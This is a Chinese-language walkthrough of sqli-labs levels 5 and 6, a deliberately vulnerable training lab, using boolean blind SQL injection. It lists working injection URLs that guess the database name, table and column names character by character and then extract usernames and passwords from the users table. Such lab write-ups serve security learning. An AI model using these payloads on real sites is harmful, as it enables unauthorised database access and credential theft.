SQL注入sqli_labs靶场第五、六题

第五题

根据报错信息,判断为单引号注入

没有发现回显点

方法:布尔盲注(太耗时,不推荐使用)

1)猜解数据库名字:(所有ASCII码值范围:0~127)

?id=1' and length(database())=8--+

页面正常显示,则为true,数据库名字长度为8

页面错误显示,则为false,数据库名字长度不为8

?id=1' and ascii(mid(database(),1,1))>64--+ 正常

?id=1' and ascii(mid(database(),1,1))>100--+ 正常

?id=1' and ascii(mid(database(),1,1))=115--+ 正常

?id=1' and ascii(mid(database(),2,1))=101--+ 正常

?id=1' and ascii(mid(database(),3,1))=99--+ 正常

如此就得到了

第一个字符的ASCII码为115解码出来为"s"

第二个字符的ASCII码为101解码出来为"e"

第二个字符的ASCII码为99解码出来为"c"

依次类推出数据库的名字为"security"

2)猜解表名:(判断所有表名长度,依次猜解所有表名)

判断长度:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

猜解表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --+ 正常

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正常

说明第一个表第一个字符是r,依次猜解直到找到users表

3)猜解列名:(判断所有列名长度,依次猜解users表中列名)

判断长度:

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29--+

猜解列名:

?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>64--+

4)猜解账号密码

?id=1' and ascii(mid((select group_concat(username,password) from users),1,1))>64--+

第六题

根据报错信息,判断为双引号注入

页面没有回显信息,采用布尔盲注,与第五题方法完全一致

相关推荐
炎码工坊2 小时前
DevSecOps实践:CI/CD流水线集成动态安全测试(DAST)工具
安全·网络安全·微服务·云原生·安全架构
唐人街都是苦瓜脸3 小时前
学习Oracle------Oracle和mysql在SQL 语句上的的异同 (及Oracle在写SQL 语句时的注意事项)
sql·mysql·oracle
Edingbrugh.南空3 小时前
Hive SQL执行流程深度解析:从CLI入口到执行计划生成
hive·hadoop·sql
Starshime4 小时前
PHP、Apache环境中部署sqli-labs
网络安全
Edingbrugh.南空5 小时前
Hive SQL 执行计划详解:从查看方法到优化应用
hive·hadoop·sql
盛满暮色 风止何安8 小时前
BGP基础
运维·服务器·网络·网络协议·tcp/ip·网络安全·智能路由器
Edingbrugh.南空9 小时前
Hive SQL:一小时快速入门指南
hive·hadoop·sql
vace cc9 小时前
sql列中数据通过逗号分割的集合,对其中的值进行全表查重
数据库·sql
qq_2430507913 小时前
aflplusplus:开源的模糊测试工具!全参数详细教程!Kali Linux教程!(一)
linux·web安全·网络安全·黑客·渗透测试·模糊测试·kali linux
hao_wujing18 小时前
轻量级顺序监控器监控 LLM 中的分解攻击
网络安全